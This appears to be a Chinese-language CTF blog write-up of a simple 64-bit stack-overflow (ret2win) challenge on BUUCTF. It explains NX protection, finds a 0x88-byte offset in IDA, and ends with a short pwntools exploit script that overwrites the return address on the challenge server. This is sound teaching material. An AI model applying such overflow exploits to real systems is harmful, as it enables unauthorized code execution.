编辑
2023-04-25
pwn
00
请注意,本文编写于 638 天前,最后修改于 631 天前,其中某些信息可能已经过时。

目录

简单栈溢出

简单栈溢出

例行检查:

image-20230413201028992

这里只开启了NX保护


这里复习以下NX保护:

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。


这里用64位ida查看:

image-20230413201805871

可以看到这里v4的偏移为0x88,而read函数限制0x100字节,很明显可以进行溢出。

**【注意】 **:这里有一个坑,点进v4里查看栈空间会发现这里并没有一个s,也就是保存pre-ebp的地方,只有一个返回地址

image-20230413202203216

这里可以查看汇编:

image-20230413202252380

这里并没有利用leave指令进行恢复指针,而leave指令的意思是:*** mov rsp,rbp | pop rbp ***

image-20230413203346003

这里对比两个汇编就可以清楚:

第一个:开辟空间是利用sub,而第二个是先进行 push rbp,然后 mov rbp,rsp,这里有一个压rbp的操作,而第一个没有,所以可以知道这里没有rbp需要覆盖。

所以我们可以构造paylaod

python
from pwn import* io = remote('node4.buuoj.cn',26519) io.recvuntil(b':\n') addr = 0x0400620 payload = b'a'*0x88+p64(addr) io.sendline(payload) io.send(b'0xff') io.interactive()

作者新手一枚,文章如有错误还请多多包涵。如果各位Dalao能够指出错误,那就再好不过了,红豆泥私密马赛!

如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!